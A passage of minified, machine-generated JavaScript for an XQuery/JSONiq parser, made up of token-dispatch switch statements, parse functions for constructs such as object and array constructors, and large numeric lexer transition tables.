17513:case 17514:case 17516:case 17517:case 17518:case 17519:case 17520:case 17521:case 17526:case 17527:case 17530:case 17531:case 17533:case 17534:case 17536:case 17537:case 17539:case 17540:case 17541:case 17542:case 17543:case 17544:case 17545:case 17549:case 17554:case 17556:case 17558:case 17559:case 17561:case 17562:case 17563:case 17567:case 17568:case 17569:case 17570:case 17571:case 17572:case 17574:case 17578:case 17579:case 17580:case 17582:case 17584:case 17586:case 17588:case 17589:case 17590:case 17592:case 17594:case 17600:case 17602:case 17606:case 17607:case 17608:case 17609:case 17610:case 17611:case 17614:case 17620:case 17621:case 17626:case 17627:case 17628:case 17629:case 17630:case 17632:case 17633:case 17636:case 17637:case 17642:case 17643:case 17644:case 17645:case 17648:case 17656:case 17657:case 17658:case 17659:case 17660:case 17662:case 17664:case 17665:case 17668:case 17669:case 17670:case 17671:case 17674:case 17675:case 17678:case 17682:Si();break;case 141514:yi();break;case 141568:wi();break;case 32:case 78:case 120:case 124:case 145:case 152:case 165:case 167:case 185:case 191:case 226:case 227:case 242:case 243:case 253:case 14854:case 14918:case 14920:case 14921:case 14922:case 14923:case 14925:case 14927:case 14928:case 14929:case 14930:case 14931:case 14932:case 14933:case 14934:case 14936:case 14937:case 14938:case 14939:case 14941:case 14942:case 14944:case 14945:case 14946:case 14949:case 14950:case 14951:case 14952:case 14953:case 14954:case 14956:case 14957:case 14958:case 14959:case 14960:case 14961:case 14966:case 14967:case 14969:case 14970:case 14971:case 14973:case 14974:case 14976:case 14977:case 14979:case 14980:case 14981:case 14982:case 14983:case 14984:case 14985:case 14989:case 14994:case 14996:case 14998:case 14999:case 15001:case 15002:case 15003:case 15007:case 15008:case 15009:case 15010:case 15011:case 15012:case 15014:case 15018:case 15019:case 15020:case 15022:case 15024:case 15026:case 15028:case 15029:case 15030:case 15032:case 15034:case 15040:case 15042:case 15046:case 15047:case 15048:case 15049:case 15050:case 15051:case 15054:case 15060:case 15061:case 15064:case 15066:case 15067:case 15068:case 15069:case 15070:case 15072:case 15073:case 15076:case 15077:case 15082:case 15083:case 15084:case 15085:case 15088:case 15092:case 15096:case 15097:case 15098:case 15099:case 15100:case 15102:case 15104:case 15105:case 15108:case 15109:case 15110:case 15111:case 15114:case 15115:case 15118:case 15122:os();break;case-10:case 27412:yl();break;case-11:ll();break;case 68:ml();break;case 278:al();break;default:Li()}Vl.endNonterminal(\"PrimaryExpr\",Pl)}function ul(){switch(Hl){case 184:Ll(256);break;case 216:Ll(254);break;case 276:Ll(277);break;case 82:case 121:Ll(259);break;case 96:case 244:Ll(93);break;case 119:case 202:case 256:Ll(139);break;case 6:case 70:case 72:case 73:case 74:case 75:case 77:case 79:case 80:case 81:case 83:case 84:case 85:case 86:case 88:case 89:case 90:case 91:case 93:case 94:case 97:case 98:case 101:case 102:case 103:case 104:case 105:case 106:case 108:case 109:case 110:case 111:case 112:case 113:case 118:case 122:case 123:case 125:case 126:case 128:case 129:case 131:case 132:case 133:case 134:case 135:case 136:case 137:case 141:case 146:case 148:case 150:case 151:case 153:case 154:case 155:case 159:case 160:case 161:case 162:case 163:case 164:case 166:case 170:case 171:case 172:case 174:case 176:case 178:case 180:case 181:case 182:case 186:case 192:case 194:case 198:case 199:case 200:case 201:case 203:case 206:case 212:case 213:case 218:case 219:case 220:case 221:case 222:case 224:case 225:case 228:case 229:case 234:case 235:case 236:case 237:case 240:case 248:case 249:case 250:case 251:case 252:case 254:case 257:case 260:case 261:case 262:case 263:case 266:case 267:case 270:case 274:Ll(92);break;default:_l=Hl}if(_l==2836||_l==3348||_l==4372||_l==4884||_l==5396||_l==5908||_l==16148||_l==16660||_l==17684||_l==18196||_l==20756||_l==21780||_l==22804||_l==23316||_l==23828||_l==24340||_l==27924||_l==28436||_l==30484||_l==34068||_l==35092||_l==36116||_l==37140||_l==37652||_l==38164||_l==38676||_l==39700||_l==40212||_l==40724||_l==41236||_l==41748||_l==42260||_l==42772||_l==43284||_l==43796||_l==44308||_l==45332||_l==45844||_l==46356||_l==46868||_l==47892||_l==48404||_l==49428||_l==49940||_l==50452||_l==51988||_l==52500||_l==53012||_l==53524||_l==54036||_l==54548||_l==55572||_l==56084||_l==56596||_l==57108||_l==57620||_l==58132||_l==60692||_l==61204||_l==61716||_l==62228||_l==62740||_l==63252||_l==63764||_l==64276||_l==64788||_l==65812||_l==66324||_l==67348||_l==67860||_l==68372||_l==68884||_l==69396||_l==69908||_l==70420||_l==72468||_l==74516||_l==75028||_l==76052||_l==77076||_l==77588||_l==78100||_l==78612||_l==79124||_l==79636||_l==81684||_l==82196||_l==82708||_l==83220||_l==83732||_l==84244||_l==84756||_l==85268||_l==85780||_l==87316||_l==87828||_l==88340||_l==89364||_l==90388||_l==91412||_l==92436||_l==92948||_l==93460||_l==94484||_l==94996||_l==95508||_l==98068||_l==98580||_l==99604||_l==101652||_l==102164||_l==102676||_l==103188||_l==103700||_l==104212||_l==105748||_l==108820||_l==109332||_l==110868||_l==111892||_l==112404||_l==112916||_l==113428||_l==113940||_l==114964||_l==115476||_l==115988||_l==116500||_l==117012||_l==117524||_l==120084||_l==120596||_l==121108||_l==121620||_l==123156||_l==124180||_l==124692||_l==125204||_l==127252||_l==127764||_l==128276||_l==128788||_l==129300||_l==129812||_l==130324||_l==131348||_l==131860||_l==133396||_l==133908||_l==134420||_l==134932||_l==136468||_l==136980||_l==138516||_l==140564||_l==141588||_l==142612||_l==144660){_l=Kl(14,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{bl(),Jl(14,t,-10),_l=-14}catch(a){_l=-11,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(14,t,-11)}}}switch(_l){case 8:case 9:case 10:case 11:ui();break;case 31:ci();break;case 34:vi();break;case 44:gi();break;case 17414:case 17478:case 17480:case 17481:case 17482:case 17483:case 17485:case 17487:case 17488:case 17489:case 17491:case 17492:case 17493:case 17494:case 17496:case 17497:case 17498:case 17499:case 17501:case 17502:case 17505:case 17506:case 17509:case 17510:case 17511:case 17512:case 17513:case 17514:case 17516:case 17517:case 17518:case 17519:case 17520:case 17521:case 17526:case 17527:case 17530:case 17531:case 17533:case 17534:case 17536:case 17537:case 17539:case 17540:case 17541:case 17542:case 17543:case 17544:case 17545:case 17549:case 17554:case 17556:case 17558:case 17559:case 17561:case 17562:case 17563:case 17567:case 17568:case 17569:case 17570:case 17571:case 17572:case 17574:case 17578:case 17579:case 17580:case 17582:case 17584:case 17586:case 17588:case 17589:case 17590:case 17592:case 17594:case 17600:case 17602:case 17606:case 17607:case 17608:case 17609:case 17610:case 17611:case 17614:case 17620:case 17621:case 17626:case 17627:case 17628:case 17629:case 17630:case 17632:case 17633:case 17636:case 17637:case 17642:case 17643:case 17644:case 17645:case 17648:case 17656:case 17657:case 17658:case 17659:case 17660:case 17662:case 17664:case 17665:case 17668:case 17669:case 17670:case 17671:case 17674:case 17675:case 17678:case 17682:xi();break;case 141514:bi();break;case 141568:Ei();break;case 32:case 78:case 120:case 124:case 145:case 152:case 165:case 167:case 185:case 191:case 226:case 227:case 242:case 243:case 253:case 14854:case 14918:case 14920:case 14921:case 14922:case 14923:case 14925:case 14927:case 14928:case 14929:case 14930:case 14931:case 14932:case 14933:case 14934:case 14936:case 14937:case 14938:case 14939:case 14941:case 14942:case 14944:case 14945:case 14946:case 14949:case 14950:case 14951:case 14952:case 14953:case 14954:case 14956:case 14957:case 14958:case 14959:case 14960:case 14961:case 14966:case 14967:case 14969:case 14970:case 14971:case 14973:case 14974:case 14976:case 14977:case 14979:case 14980:case 14981:case 14982:case 14983:case 14984:case 14985:case 14989:case 14994:case 14996:case 14998:case 14999:case 15001:case 15002:case 15003:case 15007:case 15008:case 15009:case 15010:case 15011:case 15012:case 15014:case 15018:case 15019:case 15020:case 15022:case 15024:case 15026:case 15028:case 15029:case 15030:case 15032:case 15034:case 15040:case 15042:case 15046:case 15047:case 15048:case 15049:case 15050:case 15051:case 15054:case 15060:case 15061:case 15064:case 15066:case 15067:case 15068:case 15069:case 15070:case 15072:case 15073:case 15076:case 15077:case 15082:case 15083:case 15084:case 15085:case 15088:case 15092:case 15096:case 15097:case 15098:case 15099:case 15100:case 15102:case 15104:case 15105:case 15108:case 15109:case 15110:case 15111:case 15114:case 15115:case 15118:case 15122:us();break;case-10:case 27412:bl();break;case-11:cl();break;case 68:gl();break;case 278:fl();break;case-14:break;default:Ai()}}function al(){Vl.startNonterminal(\"JSONSimpleObjectUnion\",Pl),Sl(278),kl(273),Hl!=281&&(Nl(),G()),Sl(281),Vl.endNonterminal(\"JSONSimpleObjectUnion\",Pl)}function fl(){xl(278),kl(273),Hl!=281&&Y(),xl(281)}function ll(){Vl.startNonterminal(\"ObjectConstructor\",Pl),Sl(276),kl(274),Hl!=282&&(Nl(),hl()),Sl(282),Vl.endNonterminal(\"ObjectConstructor\",Pl)}function cl(){xl(276),kl(274),Hl!=282&&pl(),xl(282)}function hl(){Vl.startNonterminal(\"PairConstructorList\",Pl),dl();for(;;){if(Hl!=41)break;Sl(41),kl(267),Nl(),dl()}Vl.endNonterminal(\"PairConstructorList\",Pl)}function pl(){vl();for(;;){if(Hl!=41)break;xl(41),kl(267),vl()}}function dl(){Vl.startNonterminal(\"PairConstructor\",Pl),_f(),Sl(49),kl(267),Nl(),_f(),Vl.endNonterminal(\"PairConstructor\",Pl)}function vl(){Df(),xl(49),kl(267),Df()}function ml(){Vl.startNonterminal(\"ArrayConstructor\",Pl),Sl(68),kl(272),Hl!=69&&(Nl(),G()),Sl(69),Vl.endNonterminal(\"ArrayConstructor\",Pl)}function gl(){xl(68),kl(272),Hl!=69&&Y(),xl(69)}function yl(){Vl.startNonterminal(\"BlockExpr\",Pl),Sl(276),kl(277),Nl(),$a(),Sl(282),Vl.endNonterminal(\"BlockExpr\",Pl)}function bl(){xl(276),kl(277),Ja(),xl(282)}function wl(){Vl.startNonterminal(\"FunctionDecl\",Pl),Sl(145),kl(255),Nl(),Ha(),kl(22),Sl(34),kl(94),Hl==31&&(Nl(),U()),Sl(37),kl(148),Hl==79&&(Nl(),El()),kl(118);switch(Hl){case 276:Sl(276),kl(277),Nl(),$a(),Sl(282);break;default:Sl(133)}Vl.endNonterminal(\"FunctionDecl\",Pl)}function El(){Vl.startNonterminal(\"ReturnType\",Pl),Sl(79),kl(260),Nl(),ms(),Vl.endNonterminal(\"ReturnType\",Pl)}function Sl(e){Hl==e?(Nl(),Vl.terminal(i.TOKEN[Hl],Bl,jl>Gl?Gl:jl),Dl=Bl,Pl=jl,Hl=Fl,Hl!=0&&(Bl=Il,jl=ql,Fl=0)):Ml(Bl,jl,0,Hl,e)}function xl(e){Hl==e?(Dl=Bl,Pl=jl,Hl=Fl,Hl!=0&&(Bl=Il,jl=ql,Fl=0)):Ml(Bl,jl,0,Hl,e)}function Tl(e){var t=Dl,n=Pl,r=Hl,i=Bl,s=jl;Hl=e,Bl=Yl,jl=Zl,Fl=0,Pa(),Dl=t,Pl=n,Hl=r,Hl!=0&&(Bl=i,jl=s)}function Nl(){Pl!=Bl&&(Dl=Pl,Pl=Bl,Vl.whitespace(Dl,Pl))}function Cl(e){var t;for(;;){t=ec(e);if(t!=22){if(t!=36)break;Tl(t)}}return t}function kl(e){Hl==0&&(Hl=Cl(e),Bl=Yl,jl=Zl)}function Ll(e){Fl==0&&(Fl=Cl(e),Il=Yl,ql=Zl),_l=Fl<<9|Hl}function Al(e){Hl==0&&(Hl=ec(e),Bl=Yl,jl=Zl)}function Ol(e){Fl==0&&(Fl=ec(e),Il=Yl,ql=Zl),_l=Fl<<9|Hl}function Ml(e,t,r,i,s){throw t>Ul&&(Rl=e,Ul=t,zl=r,Wl=i,Xl=s),new n.ParseException(Rl,Ul,zl,Wl,Xl)}function Jl(e,t,n){$l[(t<<4)+e]=n}function Kl(e,t){var n=$l[(t<<4)+e];return typeof n!=\"undefined\"?n:0}function ec(e){var t=!1;Yl=Zl;var n=Zl,r=i.INITIAL[e],s=0;for(var o=r&4095;o!=0;){var u,a=n<Gl?Ql.charCodeAt(n):0;++n;if(a<128)u=i.MAP0[a];else if(a<55296){var f=a>>4;u=i.MAP1[(a&15)+i.MAP1[(f&31)+i.MAP1[f>>5]]]}else{if(a<56320){var f=n<Gl?Ql.charCodeAt(n):0;f>=56320&&f<57344&&(++n,a=((a&1023)<<10)+(f&1023)+65536,t=!0)}var l=0,c=5;for(var h=3;;h=c+l>>1){if(i.MAP2[h]>a)c=h-1;else{if(!(i.MAP2[6+h]<a)){u=i.MAP2[12+h];break}l=h+1}if(l>c){u=0;break}}}s=o;var p=(u<<12)+o-1;o=i.TRANSITION[(p&15)+i.TRANSITION[p>>4]],o>4095&&(r=o,o&=4095,Zl=n)}r>>=12;if(r==0){Zl=n-1;var f=Zl<Gl?Ql.charCodeAt(Zl):0;return f>=56320&&f<57344&&--Zl,Ml(Yl,Zl,s,-1,-1)}if(t)for(var d=r>>9;d>0;--d){--Zl;var f=Zl<Gl?Ql.charCodeAt(Zl):0;f>=56320&&f<57344&&--Zl}else Zl-=r>>9;return(r&511)-1}r(e,t);var n=this;this.ParseException=function(e,t,n,r,i){var s=e,o=t,u=n,a=r,f=i;this.getBegin=function(){return s},this.getEnd=function(){return o},this.getState=function(){return u},this.getExpected=function(){return f},this.getOffending=function(){return a},this.getMessage=function(){return a<0?\"lexical analysis failed\":\"syntax error\"}},this.getInput=function(){return Ql},this.getOffendingToken=function(e){var t=e.getOffending();return t>=0?i.TOKEN[t]:null},this.getExpectedTokenSet=function(e){var t;return e.getExpected()<0?t=i.getTokenSet(-e.getState()):t=[i.TOKEN[e.getExpected()]],t},this.getErrorMessage=function(e){var t=this.getExpectedTokenSet(e),n=this.getOffendingToken(e),r=Ql.substring(0,e.getBegin()),i=r.split(\"\\n\"),s=i.length,o=i[s-1].length+1,u=e.getEnd()-e.getBegin();return e.getMessage()+(n==null?\"\":\", found \"+n)+\"\\nwhile expecting \"+(t.length==1?t[0]:\"[\"+t.join(\", \")+\"]\")+\"\\n\"+(u==0||n!=null?\"\":\"after successfully scanning \"+u+\" characters beginning \")+\"at line \"+s+\", column \"+o+\":\\n...\"+Ql.substring(e.getBegin(),Math.min(Ql.length,e.getBegin()+64))+\"...\"},this.parse_XQuery=function(){Vl.startNonterminal(\"XQuery\",Pl),kl(275),Nl(),o(),Sl(25),Vl.endNonterminal(\"XQuery\",Pl)};var _l,Dl,Pl,Hl,Bl,jl,Fl,Il,ql,Rl,Ul,zl,Wl,Xl,Vl,$l,Ql,Gl,Yl,Zl};r.getTokenSet=function(e){var t=[],n=e<0?-e:INITIAL[e]&4095;for(var i=0;i<284;i+=32){var s=i,o=(i>>5)*3694+n-1,u=o>>1,a=u>>2,f=r.EXPECTED[(o&1)+r.EXPECTED[(u&3)+r.EXPECTED[(a&3)+r.EXPECTED[a>>2]]]];for(;f!=0;f>>>=1,++s)(f&1)!=0&&t.push(r.TOKEN[s])}return t},r.MAP0=[70,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,17,17,17,17,17,17,17,17,17,18,19,20,21,22,23,24,25,26,27,28,29,26,30,30,30,30,30,31,32,33,30,30,34,30,30,35,30,30,30,36,30,30,37,38,39,38,30,38,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,38,38],r.MAP1=[108,124,214,214,214,214,214,214,214,214,214,214,214,214,214,214,156,181,181,181,181,181,214,215,213,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,214,247,261,277,293,309,355,371,387,423,423,423,415,339,331,339,331,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,440,440,440,440,440,440,440,324,339,339,339,339,339,339,339,339,401,423,423,424,422,423,423,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,423,338,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,339,423,70,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,17,17,17,17,17,17,17,17,17,18,19,20,21,22,23,24,25,26,27,28,29,26,30,30,30,30,30,31,32,33,30,30,30,30,30,30,30,30,30,30,30,30,30,30,38,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,34,30,30,35,30,30,30,36,30,30,37,38,39,38,30,38,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,38,38,38,38,38,38,38,38,38,38,38,38,30,30,38,38,38,38,38,38,38,69,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69],r.MAP2=[57344,63744,64976,65008,65536,983040,63743,64975,65007,65533,983039,1114111,38,30,38,30,30,38],r.INITIAL=[1,12290,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287],r.TRANSITION=[42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,25651,25666,25670,25670,25670,18189,25670,25670,25670,25670,18201,25670,25670,25670,25670,18176,25670,25671,18217,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,42516,25917,18730,20976,20988,20999,21015,25420,18732,21040,42516,42516,42516,27632,42516,42516,51474,31122,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,21056,21084,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,23286,21107,42516,42516,42516,39416,42516,42516,43470,47286,25568,42516,42516,42516,42516,23672,41495,21126,21160,42516,42516,42516,27632,42516,42516,35938,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,25556,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21176,21248,42516,42516,42516,50595,42516,42516,42445,42516,25917,23619,21211,21279,21269,21226,21240,44419,21040,42516,42516,42516,27632,21302,42516,32247,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,19871,21321,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,21344,26008,18612,18632,18596,21349,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42510,42516,42516,42516,48894,42515,42516,51366,42516,21365,42504,21403,42515,21410,42516,27599,27612,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,21426,42516,42516,42516,22170,42516,42516,21445,42516,42516,21468,21481,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,42516,24484,42516,42516,42516,42516,42516,42516,42517,21497,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,21513,25598,18486,18508,51408,1846